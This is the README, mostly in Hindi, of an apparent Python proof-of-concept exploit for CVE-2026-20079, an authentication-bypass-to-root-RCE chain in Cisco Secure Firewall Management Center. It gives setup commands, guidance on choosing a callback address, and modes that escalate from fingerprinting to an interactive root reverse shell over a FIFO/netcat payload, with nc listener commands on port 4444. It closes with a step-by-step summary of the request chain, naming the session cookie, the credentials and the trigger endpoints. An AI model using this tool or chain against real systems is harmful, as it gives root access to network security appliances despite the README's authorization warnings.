
CVE-2026-20079 प्रमाणीकरण-बाईपास-से-रूट-RCE श्रृंखला को Cisco Secure FMC के विरुद्ध फिंगरप्रिंट, चेक, प्रूफ और इंटरैक्टिव एक्सप्लॉइट मोड का उपयोग करके लागू करता है।
CVE-2026-20079 में सार्वजनिक रूप से प्रलेखित Cisco Secure Firewall Management Center प्रमाणीकरण-बायपास-से-root-RCE श्रृंखला के लिए Python प्रूफ़ ऑफ़ कॉन्सेप्ट।
यह कोई नई भेद्यता या स्वतंत्र रूप से विकसित शोषण श्रृंखला नहीं है। यह VulnCheck द्वारा प्रकाशित अनुरोध अनुक्रम का एक क्लीन-रूम कार्यान्वयन है, जिसमें अलग फिंगरप्रिंट, स्टेज्ड चेक, वन-शॉट प्रूफ़, और इंटरैक्टिव एक्सप्लॉइट मोड शामिल हैं।
Python 3.10 या बाद का संस्करण आवश्यक है। Linux या macOS पर:
git clone https://github.com/CyberAuth/CVE-2026-20079.git
cd CVE-2026-20079
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
python3 CVE-2026-20079.py --help
नीचे दिए गए सभी 192.0.2.x मान आरक्षित दस्तावेज़ीकरण पते हैं। ये
प्लेसहोल्डर हैं, खोजी गई लक्ष्य जानकारी नहीं, और इन्हें अधिकृत मूल्यांकन से
प्राप्त मानों से बदला जाना चाहिए। इन कमांडों के बिना बदलाव के काम करने की
अपेक्षा नहीं है।
| उदाहरण | अर्थ | इसके बजाय क्या उपयोग करें |
|---|---|---|
https://192.0.2.10 | लक्ष्य FMC URL | सटीक अधिकृत FMC स्कीम, पता, और पोर्ट |
192.0.2.20 | वह पता जहाँ FMC वापस कनेक्ट होता है | ऑपरेटर के लिसनर का IP पता या DNS नाम जैसा FMC से पहुँच योग्य हो |
192.0.2.0/24 | उदाहरण फिंगरप्रिंट CIDR | एक स्पष्ट रूप से अधिकृत नेटवर्क रेंज |
4444 | कॉलबैक/लिसनर TCP पोर्ट | कॉलबैक सिस्टम पर एक स्वीकृत पहुँच योग्य पोर्ट |
0.0.0.0 | ऑपरेटर सिस्टम पर लिसनर कहाँ बाइंड होता है | इसे सभी स्थानीय इंटरफ़ेस पर सुनने के लिए रखें, या एक स्थानीय इंटरफ़ेस पता उपयोग करें |
--expected-callback-source में 192.0.2.10 | कॉलबैक का अपेक्षित स्रोत | लिसनर द्वारा देखा गया FMC स्रोत पता; जब NAT इसे अनिश्चित बनाता है तो इस विकल्प को छोड़ दें |
http://127.0.0.1:8080 | वैकल्पिक स्थानीय इंटरसेप्टिंग प्रॉक्सी | ऑपरेटर सिस्टम पर वास्तव में सुन रहा प्रॉक्सी URL |
--callback-host चुननाइस नियम का उपयोग करें: FMC के दृष्टिकोण से, कौन सा पता ऑपरेटर के लिसनर
तक पहुँचता है? वही पता --callback-host है।
| नेटवर्क पथ | सामान्य --callback-host मान |
|---|---|
| ऑपरेटर और FMC एक ही रूटेड नेटवर्क पर हैं | ऑपरेटर सिस्टम का पहुँच योग्य eth0, en0, या अन्य LAN पता |
| ऑपरेटर VPN के माध्यम से FMC तक पहुँचता है | पहुँच योग्य VPN इंटरफ़ेस पता, जैसे tun0 या utun, जब FMC का उस तक रूट हो |
| ऑपरेटर NAT या फ़ायरवॉल के पीछे है | वह सार्वजनिक IP या DNS नाम जिसका चयनित पोर्ट ऑपरेटर सिस्टम पर फ़ॉरवर्ड है |
| कॉलबैक टनल या VPS का उपयोग किया जाता है | पहुँच योग्य टनल एंडपॉइंट या VPS पता |
--callback-host के लिए 127.0.0.1 या 0.0.0.0 का उपयोग न करें। 127.0.0.1
स्वयं FMC को संदर्भित करेगा, जबकि 0.0.0.0 एक लिसनर बाइंड मान है, गंतव्य
नहीं। सुनिश्चित करें कि रूटिंग, फ़ायरवॉल नियम, और कोई भी पोर्ट फ़ॉरवर्डिंग
FMC को --callback-port पर --callback-host तक पहुँचने की अनुमति देते हैं।
--listen-host केवल स्थानीय है: यह उस इंटरफ़ेस का चयन करता है जिस पर एकीकृत
लिसनर प्रतीक्षा करता है। इसका डिफ़ॉल्ट, 0.0.0.0, हर स्थानीय इंटरफ़ेस पर
सुनता है। यह FMC को नहीं बताता कि कहाँ कनेक्ट करना है। इसलिए, --callback-host
और --listen-host भिन्न हो सकते हैं, विशेष रूप से NAT के पार।
इस काल्पनिक, केवल-दस्तावेज़ीकरण लैब को मान लें:
Operator system FMC target
eth0: 192.0.2.20 192.0.2.10
1. Operator ---------------------------------------> FMC
HTTPS requests to https://192.0.2.10
2. Operator <--------------------------------------- FMC
Listener on TCP 4444 callback to 192.0.2.20:4444
मान निम्नानुसार कमांड से मैप होते हैं:
--target https://192.0.2.10 उस FMC की पहचान करता है जिसका आकलन किया जा रहा है।--callback-host 192.0.2.20 ऑपरेटर सिस्टम का eth0 पता है क्योंकि
FMC सीधे उस तक रूट कर सकता है।--callback-port 4444 कॉलबैक द्वारा उपयोग किया जाने वाला स्वीकृत TCP पोर्ट है।--listen-host 0.0.0.0 एकीकृत लिसनर को किसी भी स्थानीय इंटरफ़ेस पर
कॉलबैक स्वीकार करने देता है, जिसमें eth0 भी शामिल है।उस उदाहरण के लिए एक-बार का प्रमाण कमांड इस प्रकार होगा:
python3 CVE-2026-20079.py \
--proof \
--target https://192.0.2.10 \
--callback-host 192.0.2.20 \
--callback-port 4444 \
--listen-host 0.0.0.0
प्रवाह इस प्रकार है: ऑपरेटर 192.0.2.10 पर HTTPS अनुरोध भेजता है, फिर FMC
ऑपरेटर के 192.0.2.20:4444 पर वापस कनेक्ट करता है। वास्तविक मूल्यांकन में,
दोनों IP पतों को बदलें और कमांड चलाने से पहले रिटर्न रूट की पुष्टि करें। यदि FMC
ऑपरेटर के eth0 पते तक नहीं पहुँच सकता, तो इसके बजाय ऊपर वर्णित पहुँच योग्य
VPN, NAT, टनल, या VPS पते का उपयोग करें।
| मोड | नेटवर्क या लक्ष्य प्रभाव | साक्ष्य या परिणाम |
|---|---|---|
--fingerprint | केवल GET अनुरोध | एक संभावित FMC वेब सतह; भेद्यता की पुष्टि नहीं |
--check | अधिकतम दो GET अनुरोध; कोई सत्र अपग्रेड नहीं | ज्ञात बायपास प्रतिक्रिया पैटर्न पूर्ण या आंशिक रूप से मेल खाया |
--check --intrusive | सर्वर-साइड सत्र स्थिति को अपग्रेड करता है | प्रमाणीकरण बायपास और एक एक्शन टोकन तक पहुँच |
--proof | एक सीमित कॉलबैक पेलोड लिखता और चलाता है | रूट निष्पादन और क्लीनअप, बिना इंटरैक्टिव शेल के |
--exploit | एक FIFO/netcat पेलोड लिखता और चलाता है | एक इंटरैक्टिव रूट कॉलबैक, या --auto-verify के साथ सीमित सत्यापन |
तीन उदाहरण मानों को एक बार सेट करें, प्रत्येक को अधिकृत लक्ष्य, ऑपरेटर कॉलबैक पता, और पोर्ट से बदलें:
# Replace all three values before running a mode.
FMC_URL=https://192.0.2.10
CALLBACK_HOST=192.0.2.20 # Address the FMC can use to reach this listener
CALLBACK_PORT=4444
फिर ठीक एक मोड चुनें:
# GET-only product fingerprint; start here
python3 CVE-2026-20079.py --fingerprint --target "$FMC_URL"
# GET-only authentication-bypass check; does not upgrade the session
python3 CVE-2026-20079.py --check --target "$FMC_URL"
# Intrusive authentication-bypass check; changes server-side session state
python3 CVE-2026-20079.py --check --intrusive --target "$FMC_URL"
# One-shot root proof with integrated listener and verified cleanup
python3 CVE-2026-20079.py --proof --target "$FMC_URL" \
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"
# Interactive root callback; first start one listener in another terminal:
# Linux (common netcat variants): nc -lvnp "$CALLBACK_PORT"
# macOS built-in netcat: nc -lvn "$CALLBACK_PORT"
python3 CVE-2026-20079.py --exploit --target "$FMC_URL" \
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"
# Bounded root verification and cleanup instead of an interactive shell
python3 CVE-2026-20079.py --exploit --target "$FMC_URL" \
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT" \
--auto-verify
[!IMPORTANT] फिंगरप्रिंटिंग एक अनुमानित उत्पाद-पहचान चरण है, कमज़ोरी जाँच नहीं।
MATCHऔरLIKELYयह सिद्ध नहीं करते कि लक्ष्य प्रभावित या शोषणीय है, औरNO_MATCHFMC को बाहर नहीं करता। रिवर्स प्रॉक्सी, अनुकूलित लॉगिन पेज, एक्सेस नियंत्रण, नेटवर्क विफलताएँ, या उत्पाद परिवर्तन परिणाम को प्रभावित कर सकते हैं।
फिंगरप्रिंटिंग नेटवर्क अनुरोध भेजती है लेकिन प्रमाणीकरण बायपास या RCE चेन नहीं चलाती। डिफ़ॉल्ट जाँच विशेष सत्र कुकी को एक संरक्षित सूचना एंडपॉइंट पर भेजती है, लेकिन क्रेडेंशियल सबमिट नहीं करती या सत्र को अपग्रेड नहीं करती। किसी भी सत्यापन मोड का उपयोग करने से पहले नीचे दिए गए वर्गीकरण विवरण, मोड विवरण, और सत्र-स्थिति चेतावनी पढ़ें।
[!WARNING] स्पष्ट लिखित प्राधिकरण के बिना
--check,--proof, या--exploitन चलाएँ।--check --intrusive, proof, और exploit मोड के लिए प्राधिकरण को उनके लक्ष्य परिवर्तनों और proof विधि को कवर करना चाहिए। पहले पूर्वापेक्षा, सत्र-स्थिति सीमा, और callback आवश्यकताएँ पढ़ें।
सक्रिय चेन /login.cgi?logon=Continue को CGISESSID=csm_processes प्रदान करती है, प्रकाशित report:snortrules मशीन क्रेडेंशियल का उपयोग करती है, /ui/user/general से sf_action_id निकालती है, validateLicense के माध्यम से Makeself-प्रारूप स्क्रिप्ट लिखती है, और इसे SF::UI::DataObjectLibrary::upgradeReadinessCall के माध्यम से ट्रिगर करती है।